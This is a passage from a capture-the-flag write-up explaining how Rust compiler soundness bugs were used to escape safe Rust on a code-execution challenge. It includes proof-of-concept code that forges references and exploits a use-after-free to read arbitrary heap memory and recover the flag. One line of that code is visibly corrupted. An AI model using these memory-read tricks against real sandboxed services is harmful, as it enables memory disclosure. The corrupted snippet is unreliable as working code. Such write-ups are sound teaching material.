fn main() {
match MySome(&4) {
MyNone => {},
ref mut foo
if {
(|| { let bar = foo; bar.take() })();
false
} => {},
MySome(s) => println!("{}", *s)
}
}
```
mem::replace allows us to swap out the tag just like Option::take, and it works on Result as well. With this, we can forge a pointer (which is safe since it's not dereferenced as a pointer) to arbitrary memory, cast it to a reference using the bug, and dereference it (since references are guaranteed to point to valid memory in the absence of unsafe code/compiler bugs):
```
fn read_via_27282(addr: usize) -> u8 {
let mut y = 4;
let mut x : Result<&mut u8, *mut u8> = Ok(&mut y);
match x {
Err(_) => (),
ref mut foo
if {
(|| { let bar = foo; let _err = ::std::mem::replace(bar, Err(addr as _)); })();
false
} => (),
Ok(ref s) => {
return **s;
},
}
panic!("this is unreachable in release mode, but in debug mode, this gets hit");
}
```
Unfortunately, this also fails to work in debug mode (there's some weird fall-through behaviour instead).

Fortunately, the third issue I looked at, https://github.com/rust-lang/rust/issues/25860, does end up working in debug mode. The gadget from the issue has the signature `fn bad<'a, T>(x: &'a T) -> &'static T`, `'a` is an arbitrary lifetime, `'static` is the longest possible lifetime (e.g. the type of stuff in .data, that's never freed). `bad` is operationally the identity, so if you pass it something that gets freed at the end of a block (e.g. any RAII type that internally manages a heap allocation), it still does free it at runtime, but borrowcheck still thinks that the output is live (since it's `&'static` so it lives forever), so it lets you return the freed/dangling value from the block.

This allows us to read arbitrary memory by aliasing a Vec<u8>'s {pointer,capacity,length} fields to a heap-allocated triple of usize's:
```
static UNIT: &'static &'static () = &&(;;

fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }

fn bad<'a, T>(x: &'a T) -> &'static T {
let f: fn(_, &'a T) -> &'static T = foo;
f(UNIT, x)
}

fn inner() -> &'static Vec<u8> {
let x = Box::new(Vec::new());
bad(&*x)
}

let x = inner();
let mut y = Box::new((1usize, 2usize, 3usize));
println!("x: {:?} {} {}", x.as_ptr(), x.capacity(), x.len());

let mut r = |addr: usize| { y.0 = addr; x[0] };
```

Concurrently to my testing of the bugs, my teammate glenns found that a sample binary could be downloaded directly from the web interface via `wget https://arcade.fluxfingers.net:1814/cat/target/release/codepad` and reversed it to find that the flag was read into the heap as a pair of u32's, one of which was random, and the other of which was the same random value xor'd with the flag byte.

Combining this knowledge with the arbitrary read via the issue-25860 UAF, we scanned the heap backwards from a fresh allocation to find consecutive words that xor'd to printable ASCII, which yielded the flag.